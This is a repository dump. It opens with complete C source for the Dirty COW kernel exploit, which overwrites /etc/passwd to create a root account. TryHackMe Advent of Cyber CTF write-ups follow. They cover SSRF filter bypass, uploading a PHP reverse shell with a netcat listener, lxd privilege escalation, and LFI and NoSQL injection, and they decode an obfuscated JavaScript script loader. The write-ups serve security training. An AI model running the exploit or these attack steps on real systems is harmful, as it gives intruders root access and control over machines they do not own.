#include <string.h>
#include <stdio.h>
#include <stdint.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/wait.h>
#include <sys/ptrace.h>
#include <stdlib.h>
#include <unistd.h>
#include <crypt.h>

const char *filename = "/etc/passwd";
const char *backup_filename = "/tmp/passwd.bak";
const char *salt = "firefart";

int f;
void *map;
pid_t pid;
pthread_t pth;
struct stat st;

struct Userinfo {
   char *username;
   char *hash;
   int user_id;
   int group_id;
   char *info;
   char *home_dir;
   char *shell;
};

char *generate_password_hash(char *plaintext_pw) {
  return crypt(plaintext_pw, salt);
}

char *generate_passwd_line(struct Userinfo u) {
  const char *format = "%s:%s:%d:%d:%s:%s:%s\n";
  int size = snprintf(NULL, 0, format, u.username, u.hash,
    u.user_id, u.group_id, u.info, u.home_dir, u.shell);
  char *ret = malloc(size + 1);
  sprintf(ret, format, u.username, u.hash, u.user_id,
    u.group_id, u.info, u.home_dir, u.shell);
  return ret;
}

void *madviseThread(void *arg) {
  int i, c = 0;
  for(i = 0; i < 200000000; i++) {
    c += madvise(map, 100, MADV_DONTNEED);
  }
  printf("madvise %d\n\n", c);
}

int copy_file(const char *from, const char *to) {
  // check if target file already exists
  if(access(to, F_OK) != -1) {
    printf("File %s already exists! Please delete it and run again\n",
      to);
    return -1;
  }

  char ch;
  FILE *source, *target;

  source = fopen(from, "r");
  if(source == NULL) {
    return -1;
  }
  target = fopen(to, "w");
  if(target == NULL) {
     fclose(source);
     return -1;
  }

  while((ch = fgetc(source)) != EOF) {
     fputc(ch, target);
   }

  printf("%s successfully backed up to %s\n",
    from, to);

  fclose(source);
  fclose(target);

  return 0;
}

int main(int argc, char *argv[])
{
  // backup file
  int ret = copy_file(filename, backup_filename);
  if (ret != 0) {
    exit(ret);
  }

  struct Userinfo user;
  // set values, change as needed
  user.username = "firefart";
  user.user_id = 0;
  user.group_id = 0;
  user.info = "pwned";
  user.home_dir = "/root";
  user.shell = "/bin/bash";

  char *plaintext_pw;

  if (argc >= 2) {
    plaintext_pw = argv[1];
    printf("Please enter the new password: %s\n", plaintext_pw);
  } else {
    plaintext_pw = getpass("Please enter the new password: ");
  }

  user.hash = generate_password_hash(plaintext_pw);
  char *complete_passwd_line = generate_passwd_line(user);
  printf("Complete line:\n%s\n", complete_passwd_line);

  f = open(filename, O_RDONLY);
  fstat(f, &st);
  map = mmap(NULL,
             st.st_size + sizeof(long),
             PROT_READ,
             MAP_PRIVATE,
             f,
             0);
  printf("mmap: %lx\n",(unsigned long)map);
  pid = fork();
  if(pid) {
    waitpid(pid, NULL, 0);
    int u, i, o, c = 0;
    int l=strlen(complete_passwd_line);
    for(i = 0; i < 10000/l; i++) {
      for(o = 0; o < l; o++) {
        for(u = 0; u < 10000; u++) {
          c += ptrace(PTRACE_POKETEXT,
                      pid,
                      map + o,
                      *((long*)(complete_passwd_line + o)));
        }
      }
    }
    printf("ptrace %d\n",c);
  }
  else {
    pthread_create(&pth,
                   NULL,
                   madviseThread,
                   NULL);
    ptrace(PTRACE_TRACEME);
    kill(getpid(), SIGSTOP);
    pthread_join(pth,NULL);
  }

  printf("Done! Check %s to see if the new user was created.\n", filename);
  printf("You can log in with the username '%s' and the password '%s'.\n\n",
    user.username, plaintext_pw);
    printf("\nDON'T FORGET TO RESTORE! $ mv %s %s\n",
    backup_filename, filename);
  return 0;
}



================================================
FILE: Advent-of-Cyber-2020/Day-14-Where's Rudolph?/README.md
================================================
# Where's Rudolph?

- What URL will take me directly to Rudolph's Reddit comment history?

	- Google is your best friend. `https://www.reddit.com/user/IGuidetheClaus2020/comments/`

- According to Rudolph, where was he born?

	- `Chicago`

- Rudolph mentions Robert.  Can you use Google to tell me Robert's last name?

	- Google is your friend.. `May`

- On what other social media platform might Rudolph have an account?

	- Twitter Search
	- `https://twitter.com/IGuideClaus2020`
	- `twitter`

- What is Rudolph's username on that platform?

	- `IGuideClaus2020`

- What appears to be Rudolph's favorite TV show right now?

	- `bachelorette`, by twitter feed.

- Based on Rudolph's post history, he took part in a parade.  Where did the parade take place?

	- `Chicago`

- Okay, you found the city, but where specifically was one of the photos taken?

	- [photo with higher resolution](https://twitter.com/IGuideClaus2020/status/1331615839318138883)
	- Upload on [exif.regex.info](http://exif.regex.info)
	- `41.891815, -87.624277`

- Did you find a flag too?

	- `{FLAG}**********************`

- Has Rudolph been pwned? What password of his appeared in a breach?

	- [Scylla Search](https://scylla.sh/api)
	- The email is shown on Twitter `rudolphthered@hotmail.com`.
	- `*******`

- Based on all the information gathered.  It's likely that Rudolph is in the Windy City and is staying in a hotel on Magnificent Mile.  What are the street numbers of the hotel address?

	- `41.891815, -87.624277` on Google Maps
	- `Chicago Marriott Downtown` on Google Search
	- `540`




### see you ...


================================================
FILE: Advent-of-Cyber-2020/Day-15-There's a Python in my stocking!/README.md
================================================
# There's a Python in my stocking!

- What's the output of True + True?

	- `2`

- What's the database for installing other peoples libraries called?

	- `PyPi`

- What is the output of bool("False")?

	- `True`

- What library lets us download the HTML of a webpage?

	- `requests`

- What is the output of the program provided in "Code to analyse for Question 5" in today's material?
(This code is located above the Christmas banner and below the links in the main body of this task)

	- `[1, 2, 3, 6]`

- What causes the previous task to output that?

	- `pass by reference`




### see you ...


================================================
FILE: Advent-of-Cyber-2020/Day-16-Help! Where is Santa?/README.md
================================================
# Help! Where is Santa?

Oh no! Santa 🎅 has taken off, leaving you -- the faithful elves behind! Can you help find Santa's location?

Santa has a webpage at `<TARGET_IP>/static/index.html`

- What is the port number for the web server?

	- `nmap -p -10000 <TARGET_IP>`
	- `8000`

- What is the directory for the API, without the API key?

	- Visit `http://<TARGET_IP>:8000/` and inspect code
	- `/api/`

- Where is Santa right now?
	
	- Change the `TARGET_API` in `api_fuzzer.py`
	- `python3 api_fuzzer.py`
	- `Winter Wonderland, Hyde Park, London`

- Find out the correct API key. Remember, this is an odd number between 0-100. After too many attempts, Santa's Sled will block you. 
To unblock yourself, simply terminate and re-deploy the target instance (<TARGET_IP>)

	- `57`




### see you ...


================================================
FILE: Advent-of-Cyber-2020/Day-16-Help! Where is Santa?/api_fuzzer.py
================================================
import requests

TARGET_API = "HERE YOUR TARGET_IP"

for i in range(0, 100):
    if i %2 == 1:
        response = requests.get('http://' + TARGET_API + ':8000/api/{}'.format(str(i)))
        print(str(i) + " : " + str(response.status_code))
        print(response.text)


================================================
FILE: Advent-of-Cyber-2020/Day-17-ReverseELFneering/README.md
================================================
# ReverseELFneering

Username: elfmceager

Password: adventofcyber

Use your new-found knowledge of Radare2 to analyse the "challenge1" file in the Instance <TARGET_IP> that is attached to this task to answer the questions below.

Connect by ssh to the target.

	- ssh elfmceager@<TARGET_IP>, type `yes` and enter the password `adventofcyber`.

- What is the value of local_ch when its corresponding movl instruction is called (first if multiple)?

	- `./file1`
	- `r2 -d ./file1`
	- Inside r2> `aa`
	- `afl | grep main`
	- `pdf @maini`
	- `1`

- What is the value of eax when the imull instruction is called?

	- `db 0x00400b55`
	- `pdf @main`
	- `dc`
	- `px @rbp-0xc`
	- `ds`
	- `px @rbp-0xc`
	- `dr`
	- `ds`
	- `dr`
	- `6`

- What is the value of local_4h before eax is set to 0?

	- Play with breakpoints and registers
	- `6`




### see you ...


================================================
FILE: Advent-of-Cyber-2020/Day-18-The_Bits_of_Christmas/README.md
================================================
# The Bits of Christmas


Username: `cmnatic`

Password: `Adventofcyber!`


- Open the "TBFC_APP" application in ILspy and begin decompiling the code

	- Open `Remmina` on your machine or download it with `sudo apt install remmina`
	- Start Remmina, enter the IP, the username and password.
	- Open ILSpy, click `File` and open `TBFC_APP`

- What is Santa's password?

	- In the root folder we see there are a lot of contents. Functions, libraries, main. Then we find a folder called `CrackMe`. Inside that folder there is the Main form code. If you analyze all the code when the button `Sumbit password` is pressed it calls the function `buttonActivate_Click`... mmmh. Let's take a look.
	- The first function called is reference to a Module that include this `internal static $ArrayType$$$BY0BB@$$CBD ??_C@_0BB@IKKDFEPG@****************@/* Not supported: data(** ** ** ** ** ** ** ** ** ** ** ** ** ** ** ** **) */;`. :)
	- `*************`

- Now that you've retrieved this password, try to login...What is the flag?

	- `***{*****}`




### see you ...


================================================
FILE: Advent-of-Cyber-2020/Day-19-The_Naughty_or_Nice_List/README.md
================================================
# The Naughty or Nice List

![santalist](https://github.com/edoardottt/tryhackme-ctf/blob/main/Advent-of-Cyber-2020/Day-19-The_Naughty_or_Nice_List/list.png)

- Once the VM is deployed, connect to the web app: `http://<TARGET_IP>`

- Enter a name in the form and click the "Search" button. When the page loads, it should tell you whether that name is on the Naughty List or the Nice List. Notice that the URL for the page looks something like this: `http://<TARGET_IP>/?proxy=http%3A%2F%2Flist.hohoho%3A8080%2Fsearch.php%3Fname%3DTib3rius`

- If we use a URL decoder on the value of the "proxy" parameter, we get: `http://list.hohoho:8080/search.php?name=Tib3rius`

- Since "list.hohoho" is not a valid hostname on the Internet (.hohoho is not a top-level domain), this hostname likely refers to some back-end machine. It seems that the web app works by taking this URL, making a request at the back-end, and then returning the result to the front-end web app. If the developer has not been careful, we may be able to exploit this functionality using Server-Side Request Forgery (SSRF).

- The most obvious thing we can try to do first is to fetch the root of the same site. Browse to: `http://<TARGET_IP>/?proxy=http%3A%2F%2Flist.hohoho%3A8080%2F` 

- This seems to have potential, as in place of the original "Tib3rius is on the Nice List." message, we instead see "Not Found. The requested URL was not found on this server." This seems like a generic 404 message, indicating that we were able to make the server request the modified URL and return the response.

- There are many things we could do now, such as trying to find valid URLs for the "list.hohoho" site. We could also try changing the port number from 8080 to something else, to see if we can connect to any other services running on the host, even if these services are not web servers.

- Try changing the port number from 8080 to just 80 (the default HTTP port): `http://<TARGET_IP>/?proxy=http%3A%2F%2Flist.hohoho%3A80`

- The message now changes to "Failed to connect to list.hohoho port 80: Connection refused" which suggests that port 80 is not open on list.hohoho.

- Try changing the port number to 22 (the default SSH port): `http://<TARGET_IP>/?proxy=http%3A%2F%2Flist.hohoho%3A22`

- The message now changes to "Recv failure: Connection reset by peer" which suggests that port 22 is open but did not understand what was sent (this makes sense, as sending an HTTP request to an SSH server will not get you anywhere!)

- Enumerating open ports via SSRF can be performed in this manner, by iterating over common ports and measuring the differences between responses. Even in cases where error messages aren't returned, it is often possible to detect which ports are open vs closed by measuring the time each request takes to complete.

- Another thing we can try to do with SSRF is access services running locally on the server. We can do this by replacing the list.hohoho hostname with "localhost" or "127.0.0.1" (among others). Try this now: `http://<TARGET_IP>/?proxy=http%3A%2F%2Flocalhost`

- Oops! It looks like the developer has a check in place for this, as the message returned says "Your search has been blocked by our security team."

- Indeed, if you try other hostnames (e.g. 127.0.0.1, example.com, etc.) they will all be blocked. The developer has implemented a check to ensure that the hostname provided starts with "list.hohoho", and will block any hostnames that don't.

- As it turns out, this check can easily be bypassed. Since the hostname simply needs to start with "list.hohoho", we can take advantage of DNS subdomains and create our own domain "list.hohoho.evilsite.com" which resolves to 127.0.0.1. In fact, we don't even need to buy a domain or configure the DNS, because multiple domains already exist that let us do this. The one we will be using is localtest.me, which resolves every subdomain to 127.0.0.1.

- We can therefore set the hostname in the URL to "list.hohoho.localtest.me", bypass the check, and access local services: `http://<TARGET_IP>/?proxy=http%3A%2F%2Flist.hohoho.localtest.me`

- Success! It appears that there is a web server running locally, and it has a message from Elf McSkidy that contains some sensitive information we can use!

- Click the "Admin" link at the top or scroll down to the login. Guess the username and use the password you found to login as Santa.

- Delete the naughty list to find the challenge flag!




### see you ...


================================================
FILE: Advent-of-Cyber-2020/Day-20-PowershELlF_to_the_rescue/README.md
================================================
# PowershELlF to the rescue

- Search for the first hidden elf file within the Documents folder. Read the contents of this file. What does Elf 1 want?

	- `ssh -l mceager <TARGET_IP>`
	- Enter the password `r0ckStar!`
	- `powershell` and wait until you see a new terminal
	- `Set-Location ./Documents/`
	- `Get-ChildItem -File`
	- `Get-ChildItem -File -Hidden`
	- Notice there is a hidden file `e1fone.txt` and a visible `elfone.txt`.
	- `Get-Content elfone.txt`
	- `Get-Content e1fone.txt`
	- `2 front teeth`

- Search on the desktop for a hidden folder that contains the file for Elf 2. Read the contents of this file. What is the name of that movie that Elf 2 wants? 
	- `cd ..`
	- `Set-Location Desktop`
	- `Get-Content -File -Hidden`
	- `Set-Location .\elf2wo\`
	- `Get-Content .\e70smsW10Y4k.txt`
	- `Scrooged`

- Search the Windows directory for a hidden folder that contains files for Elf 3. What is the name of the hidden folder? (This command will take a while)

	- `Set-Location C:\Windows`
	- `Get-ChildItem -Filter "*3*" -Recurse -Directory -Hidden -ErrorAction SilentlyContinue`
	- `Set-Location .\System32\3lfthr3e\`
	- `3lfthr3e`

- How many words does the first file contain?

	- `Get-Content 1.txt | Measure-Object -Word`
	- `9999`

- What 2 words are at index 551 and 6991 in the first file?

	- `(Get-Content .\1.txt)[551]`
	- `(Get-Content .\1.txt)[6991]` or `Get-Content 1.txt | Select-Object -Index 551,6991`
	- `Red Ryder`

- This is only half the answer. Search in the 2nd file for the phrase from the previous question to get the full answer. What does Elf 3 want? (use spaces when submitting the answer)

	- `Get-Content 2.txt | Select-String -Pattern "redryder"`
	- `Red Ryder bb gun`




### see you ...


================================================
FILE: Advent-of-Cyber-2020/Day-21-Time_for_some_ELForensics/README.md
================================================
# Time for some ELForensics

User name: `littlehelper`
User password: `iLove5now!`

Open Remmina and connect yourself to the remote machine. 

- Read the contents of the text file within the Documents folder. What is the file hash for db.exe?

	- Open PowerShell in remote machine
	- `Set-Location Documents`
	- `Get-ChildItem`
	- `Get-Content '.\db file hash.txt'`
	- `********************856E6A78E3A1`

- What is the file hash of the mysterious executable within the Documents folder?

	- `Get-FileHash -Algorithm MD5 deebee.exe`
	- `********************6EB12AED09F0`

- Using Strings find the hidden flag within the executable?

	- `C:\Tools\strings64.exe -accepteula deebee.exe`
	- Read carefully the output
	- `THM{*******************************}`

- What is the flag that is displayed when you run the database connector file?

	- `Get-Item -Path .\deebee.exe -Stream *`
	- `wmic process call create $(Resolve-Path .\deebee.exe:hidedb)`
	- `THM{*******************************}`



### see you ...


================================================
FILE: Advent-of-Cyber-2020/Day-22-Elf_McEager_becomes_CyberElf/README.md
================================================
# Elf McEager becomes CyberElf

For Server provide (<TARGET_IP>) as the IP address provided to you for the remote machine. The credentials for the user account is:

  - User name: `Administrator`
  - User password: `sn0wF!akes!!!`

So then let's connect ourselves to the remote machine using Remmina.

We'll use [CyberChef](https://gchq.github.io/CyberChef/) also.

- What is the password to the KeePass database?
	
	- Open the `dGhlZ3J*******FzaGVyZQ==` folder, then executes the Keepass executable and try to enter the password `mceagerrockstar`. Wrong.
	- Open CyberCher and try to decode the folder name.
	- Put `dGhlZ3J*******FzaGVyZQ==` in the Input panel and add to recipe `Magic`. It's probably Base64.
	- `**************re`
	- Let's enter the password inside Keepass.

- What is the encoding method listed as the 'Matching ops'?

	- You an see this in output panel
	- `Base64`

- What is the decoded password value of the Elf Server?

	- Navigate into Network tab (in Keepass).
	- Double click on the unique entry.
	- Click on the button to see the password without bullets, read the notes below.
	- Paste this in input on CyberChef.
	- Use the recipe `From Hex`.
	- `********`

- What is the decoded password value for ElfMail?

	- Switch Keepass tab to see eMail entries.
	- Copy the elfMail password and read the notes.
	- `&#105;****;&#51;&#83;*****;&#97;*****;&#105*******&#103;&excl;`
	- Paste this input in CyberChef with recipe `From HTML Entity`.
	- `********ng!`

- Decode the last encoded value. What is the flag?

	- Switch Keepass tab to see Recycle Bin entries.
	- Open the unique entry.
	- The password shown in cleartext without bullets is `nothinghere`. Mhh...
	- Let's read the notes.
	
	
	   eval(String.fromCharCode(118, 97, 114, 32, 115,44, 32, 49, 49, 53, 44, 32, 53,... [ ... ] ..., 53, 54, 44, 32, 57, 56, 44, 32, 15, 111, 109, 101, 115, 116, 114, 105, 110, 103, 41, 59, 32, 125));
	
	- Put this in CyberCHEF Input and take as recipe `From CharCode`, delimiter `comma`, base `10`.
	
	   .ar somestring = document.createElement('script'); somestring.type = 'text/javascript'; somestring.async = true;somestring.src = String.fromCharCode(104, 104, 116, 116, 112, ... [ ... ] ..., 22, 97, 47);   var alls = document.getElementsByTagName('script'); var nt3 = true; for ( var i = alls.length; i--;) { if (alls[i].src.indexOf(String.fromCharCode(49, 49, 100, 51,... [ ... ] ... 56, 98, 56)) > -1) { nt3 = false;} } if(nt3 == true){document.getElementsByTagName("head")[0].appendChild(somestring); }
	
	- Let's add another rule to the recipe, the same as before. It's seems there are things to be evaluated twice.
	- `.https://gist.github.com/heavenraiza/1d321244c4**********d9a3298a88b8`
	- `THM{********************************}`




### see you ...


================================================
FILE: Advent-of-Cyber-2020/Day-23-The_Grinch_strikes_again!/README.md
================================================
# The Grinch strikes again!

![win10-ransom](https://github.com/edoardottt/tryhackme-ctf/blob/main/Advent-of-Cyber-2020/Day-23-The_Grinch_strikes_again!/win-ransomware.png)

Use Remmina to connect to the target machine as the documentation in the [proper page](https://tryhackme.com/room/adventofcyber2) tells you.

  - User name: `administrator`
  - User password: `sn0wF!akes!!!`


- Decrypt the fake 'bitcoin address' within the ransom note. What is the plain text value?

	- `echo -n "bm9tb3J************pdmFsY29tcGFueQ==" | base64 -d`
	- `nomore******************`

- At times ransomware changes the file extensions of the encrypted files. What is the file extension for each of the encrypted files?

	- `.grinch`

- What is the name of the suspicious scheduled task?

	- `opidsfsdf`

- Inspect the properties of the scheduled task. What is the location of the executable that is run at login?

	- `C:\Users\Administrator\Desktop\oidsfsdf.exe`

- There is another scheduled task that is related to VSS. What is the ShadowCopyVolume ID?

	- `7a9eea15-000-0000-0000-010000000000`

- Assign the hidden partition a letter. What is the name of the hidden folder?

	- `confidential`

- Right-click and inspect the properties for the hidden folder. Use the 'Previous Versions' tab to restore the encrypted file that is within this hidden folder to the previous version. What is the password within the file?

	- `*********************`



# see you ...


================================================
FILE: Advent-of-Cyber-2020/Day-24-The_Trial_Before_Christmas/README.md
================================================
# The Trial Before Christmas

- Scan the machine. What ports are open?

	- `scilla port -target <TARGET_IP>`, [scilla here](https://github.com/edoardottt/scilla)
	- `80, 65000`

- What's the title of the hidden website? It's worthwhile looking recursively at all websites on the box for this step.

	- `http://<TARGET_IP>:65000`
	- `Light Cycle`

- What is the name of the hidden php page?

	- `gobuster dir -u http://<TARGET_IP>:65000 -x .php -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt`
	- `uploads.php`

- What is the name of the hidden directory where file uploads are saved?

	- `scilla dir -target http://<TARGET_IP> -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt`
	- `grid`

- Bypass the filters. Upload and execute a reverse shell.

	  no answer needed

	- Navigate to `http://<TARGET_IP>:65000/uploads.php`
	- Download [php-reverse-shell](https://raw.githubusercontent.com/pentestmonkey/php-reverse-shell/master/php-reverse-shell.php)
	- Change the ip from the default to yours ip.
	- Upload the file.
	- Damn. Invalid file.
	- Let's look to the validation.
	- Found `assets/js/filter.js`.
	~~~
	const filter = file => {
		if(["image/png", "image/jpeg", "image/jpg"].indexOf(file.type) < 0){
			return false;
		} else if (["png", "jpeg", "jpg"].indexOf(file.name.split(".").pop()) < 0){
			return false;
		}

		//Let's be honest -- these things are dangerous. May as well always return false ¯\_(ツ)_/¯
		return false;

	}
	~~~
	- This instead in `upload.js`
	~~~
	const upload = () => {
	let file = uploadInput.files[0];
	if(typeof filter === "function"){
		if(!filter(file)){
			changeMsg("Invalid File Type");
			return;
		}
	}
	~~~
	- Mhhh...
	- And here we are: `accept=".png,.jpg,.jpeg"`
	- Rename that file to `rshell.jpg.php`
	- We have to avoid the download/usage of `filter.js`.
	- We can block it using the Developers Tools (F12) or using Burp.
	- *tips* If you are having trouble, clear all the cache/data in browser.
	- Move to `http://<TARGET_IP>:65000/grid/`
	- On your machine `nc -lnvp 1234`
	- Click on the uploaded file.

- What is the value of the web.txt flag?

	- `python3 -c 'import pty;pty.spawn("/bin/bash")'`
	- `cat /var/www/web.txt`
	- `THM{**************}`

- Upgrade and stabilize your shell.

	  no answer needed
	
	- Referred to the first command of the previous task (`python3...`).

- Review the configuration files for the webserver to find some useful loot in the form of credentials. What credentials do you find? username:password

	- `cd /var/www/TheGrid`
	- `ls -alh`
	- `cd includes`
	- `cat dbauth.php`
	- `tron:I****************`

- Access the database and discover the encrypted credentials. What is the name of the database you find these in?

	- `mysql -u tron -p`
	- Enter the password.
	- `show databases;`
	- `tron`

- Crack the password. What is it?

	- `show tables;`
	- `use users;`
	- `select * from users;`
	~~~
	+----+----------+----------------------------------+
	| id | username | password                         |
	+----+----------+----------------------------------+
	|  1 | flynn    | ed*********d19a13*********	   |
	+----+----------+----------------------------------+
	~~~
	- `hash-identifier`
	- [crackstation](https://crackstation.net/)
	- `**********`

- Use su to login to the newly discovered user by exploiting password reuse.

	  no answer needed

	- Exit from mysql client with `exit`.
	- `su flynn`
	- Enter the password

- What is the value of the user.txt flag?

	- `cd ~`
	- `ls`
	- `cat flag.txt`
	- `THM{********_****_***********}`

- Check the user's groups. Which group can be leveraged to escalate privileges?

	- `id`
	- `lxd`

- Abuse this group to escalate privileges to root.

	  no answer needed

	- Check with `lxc image list` on target machine which containers are available locally.
	~~~
	+--------+--------------+--------+-------------------------------+--------+--------+------------------------------+
	| ALIAS  | FINGERPRINT  | PUBLIC |          DESCRIPTION          |  ARCH  |  SIZE  |         UPLOAD DATE          |
	+--------+--------------+--------+-------------------------------+--------+--------+------------------------------+
	| Alpine | a569b9af4e85 | no     | alpine v3.12 (20201220_03:48) | x86_64 | 3.07MB | Dec 20, 2020 at 3:51am (UTC) |
	+--------+--------------+--------+-------------------------------+--------+--------+------------------------------+
	~~~
	- `lxc init IMAGENAME CONTAINERNAME -c security.privileged=true`
	- `lxc config device add CONTAINERNAME DEVICENAME disk source=/ path=/mnt/root recursive=true`
	- `lxc start CONTAINERNAME`
	- `lxc exec CONTAINERNAME /bin/sh`
	- `id`	

- What is the value of the root.txt flag?

	- `cd /mnt/root/root`
	- `THM{***********}`

	~~~
	"As Elf McEager claimed the root flag a click could be heard as a small chamber on the anterior of the NUC popped open. Inside, McEager saw a small object, roughly the size of an SD card. As a moment, he realized that was exactly what it was. Perplexed, McEager shuffled around his desk to pick up the card and slot it into his computer. Immediately this prompted a window to open with the word 'HOLO' embossed in the center of what appeared to be a network of computers. Beneath this McEager read the following: Thank you for playing! Merry Christmas and happy holidays to all!"
	~~~


# Have a nice XMas !!!


================================================
FILE: Advent-of-Cyber-2020/README.md
================================================
# Advent of Cyber 2020 🎄🎅

## [tryhackme.com/edoardottt](https://tryhackme.com/p/edoardottt)

![advent](https://github.com/edoardottt/tryhackme-ctf/blob/main/Advent-of-Cyber-2020/advent.png)

These are all the things I have produced during my Advent of Cyber 2020. I hope you will have fun as I had completing this AoC.

Please, before emailing me, be sure you've read all the introduction part above the questions; really it's a good source to learn new things.

![thm-certificate](https://github.com/edoardottt/tryhackme-ctf/blob/main/Advent-of-Cyber-2020/thm-certificate.png)


================================================
FILE: Advent-of-Cyber-2021/Day-01-Save_The_Gifts/README.md
================================================
# Day 1 - Save the gifts

The trick is to change the user id until you find the correct one.

- After finding Santa's account, what is their position in the company?

	- `*********`

- After finding McStocker's account, what is their position in the company?

	- `*************`

- After finding the account responsible for tampering, what is their position in the company?

	- `***************`

- What is the received flag when McSkidy fixes the Inventory Management System?

	- `THM{*****************}`

- If you want to learn more about IDOR vulnerabilities, we suggest trying out this room https://tryhackme.com/room/idor

		No answer needed

- Tasks released each day get progressively harder (but are still guided with walkthrough videos). Come back tomorrow for Day 2's task!

		No answer needed

================================================
FILE: Advent-of-Cyber-2021/Day-02-Elf_HR_Problems/README.md
================================================
# Day 2 Elf HR Problems

- Open the static site in a new tab, here.

		no answer needed

- Register an account, and verify the cookies using the Developer Tools in your browser.

- What is the name of the new cookie that was created for your account?

	- Go in the developer tools using F12 and then look at the application tab, then under cookies you will find the cookies.
	- `*********`

- What encoding type was used for the cookie value?

	- Go to [CyberChef](https://gchq.github.io/CyberChef/), insert the cookie value as input and insert magic as recipe.
	- `***********`


- What object format is the data of the cookie stored in?

	- `***n`

- Manipulate the cookie and bypass the login portal.

- What is the value of the administrator cookie? (username = admin)

	- Just go on CyberChef and do the inverse, change the user from yours to 'admin' and compute "To Hex".
	- `******************...***************`

- What team environment is not responding?

	- `**`

- What team environment has a network warning?

	- `**********`

- If you want to learn more about Authentication bypasses, we suggest trying out this room https://tryhackme.com/jr/authenticationbypass  

		No answer needed

Tasks released each day get progressively harder (but are still guided with walkthrough videos). Come back tomorrow for Day 3's task, where InsiderPHD will be recording a video walkthrough!

================================================
FILE: Advent-of-Cyber-2021/Day-03-Christmas_Blackout/README.md
================================================
# Day 3 - Christmas Blackout


- Using a common wordlist for discovering content, enumerate http://MACHINE_IP to find the location of the administrator dashboard. What is the name of the folder?

	- `*****`


- In your web browser, try some default credentials on the newly discovered login form for the "administrator" user. What is the password?

	- `***************`


- Access the admin panel. What is the value of the flag?

	- `********************`

================================================
FILE: Advent-of-Cyber-2021/Day-04-Santas_Running_Behind/README.md
================================================
# Day 4 - Santa's Running Behind



- Access the login form at http://MACHINE_IP

		No answer needed

- Configure Burp Suite & Firefox, submit some dummy credentials and intercept the request. Use intruder to attack the login form.

		No answer needed

What valid password can you use to access the "santa" account?

	- `******`

- What is the flag in Santa's itinerary?

	- `***************`

================================================
FILE: Advent-of-Cyber-2021/Day-05-Pesky_Elf_Forum/README.md
================================================
# Day 5 - Pesky Elf Forum


- What flag did you get when you disabled the plugin?

	- `*****************`

================================================
FILE: Advent-of-Cyber-2021/Day-06-Patch_Management_Is_Hard/README.md
================================================
# Day 6 - Patch Management Is Hard

- Deploy the attached VM and look around. What is the entry point for our web application?

	- `err`

- Use the entry point to perform LFI to read the /etc/flag file. What is the flag?

	- `***************************`

- Use the PHP filter technique to read the source code of the index.php. What is the $flag variable's value?

	- `***************************`

McSkidy forgot his login credential. Can you help him to login in order to recover one of the server's passwords?
Now that you read the index.php, there is a login credential PHP file's path. Use the PHP filter technique to read its content. What are the username and password?

	- `MCSkidy:**********`

- Use the credentials to login into the web application. Help McSkidy to recover the server's password. What is the password of the flag.thm.aoc server? 

	- `**************************`

- The web application logs all users' requests, and only authorized users can read the log file. Use the LFI to gain RCE via the log file page. What is the hostname of the webserver? The log file location is at ./includes/logs/app_access.log.

	- `**************************************`

- Bonus: The current PHP configuration stores the PHP session files in /tmp. Use the LFI to call the PHP session file to get your PHP code executed. 

		No answer needed


================================================
FILE: Advent-of-Cyber-2021/Day-07-Migration_Without_Security/README.md
================================================
# Day 7 - Migration Without Security

- Interact with the MongoDB server to find the flag. What is the flag?

  - `***{********************************}`

We discussed how to bypass login pages as an admin. Can you log into the application that Grinch Enterprise controls as admin and retrieve the flag?

Use the knowledge given in AoC3 day 4 to setup and run Burp Suite proxy to intercept the HTTP request for the login page. Then modify the POST parameter.

  - `***{********************************}`

- Once you are logged in, use the gift search page to list all usernames that have guest roles. What is the flag?

  - `***{********************************}`

- Use the gift search page to perform NoSQL injection and retrieve the mcskidy record. What is the details record?

  - `*************************************`


================================================
FILE: Advent-of-Cyber-2021/Day-08-Santas_Bag_of_Toys/README.md
================================================
# Day 8 - Santa's Bag of Toys


Read the premise above, start the attached Windows analysis machine and find the transcription logs in the SantasLaptopLogs folder on the Desktop.

If you want to RDP into the machine, start the AttackBox and enter the following into a terminal: `xfreerdp /u:Administrator /p:grinch123! /v:MACHINE_IP`

- The credentials for the machine are Administrator as the username, and grinch123! as the password.

		No answer needed

Each transcription log is a simple plain text file that you can open in any editor of your choice. While the filenames are random, you can get an idea as to which log "comes first" by looking at the Date Modified or Date Created attributes, or the timestamps just before the file extension!

Open the first transcription log. You can see the commands and output for everything that ran within PowerShell, like whoami and systeminfo!

- What operating system is Santa's laptop running ("OS Name")?

	- `********* ******* ** ***`

Review each transcription log to get an idea for what activity was performed on the laptop just after it went missing. In the "second" transcription log, it seems as if the perpetrator created a backdoor user account!

- What was the password set for the new "backdoor" account?

	- `********************`

- In one of the transcription logs,  the bad actor interacts with the target under the new backdoor user account, and copies a unique file to the Desktop. Before it is copied to the Desktop, what is the full path of the original file? 

	- `*:*****************************************************.***`

The actor uses a Living Off The Land binary (LOLbin) to encode this file, and then verifies it succeeded by viewing the output file. What is the name of this LOLbin?

- Read the above and open the ShellBagsExplorer.exe application found in the folder on your Desktop.

		No answer needed

With ShellBagsExplorer.exe  open, use the top-bar menu to select File  -> Load offline hive and navigate to the location of where you saved the decoded UsrClass.dat . Load in the UsrClass.dat file and begin to explore the Shellbags discovered!

Under the Desktop folder, there seems to be a suspicious folder named "SantaRat". Could this be a remote access trojan, that was used for further nefarious activity on Santa's laptop? Unfortunately, from just Shellbags alone, we only have insight into folder names (sometimes files, if we are lucky) and column data within Windows Explorer, but not files... how could we uncover more details?

- Drill down into the folders and see if you can find anything that might indicate how we could better track down what this SantaRat really is. What specific folder name clues us in that this might be publicly accessible software hosted on a code-sharing platform?

	- `******`

Additionally, there is a unique folder named "Bag of Toys" on the Desktop! This must be where Santa prepares his collection of toys, and this is certainly sensitive data that the actor could have compromised. What is the name of the file found in this folder? 

- What is the name of the user that owns the SantaRat repository?

	- `**********`

- Explore the other repositories that this user owns. What is the name of the repository that seems especially pertinent to our investigation?

	- `*********************`

- Read the information presented in this repository. It seems as if the actor has, in fact, compromised and tampered with Santa's bag of toys! You can review the activity in the transcription logs. It looks as if the actor installed a special utility to collect and eventually exfiltrate the bag of toys. What is the name of the executable that installed a unique utility the actor used to collect the bag of toys?

	- `*****************.***`

In the last transcription log, you can see the activity that this actor used to tamper with Santa's bag of toys! It looks as if they collected the original contents with a UHA archive. A UHA archive is similar to a ZIP or RAR archive, but faster and with better compression rates. It is very rare to see, but it looks the Grinch Enterprises are pulling out all the tricks!

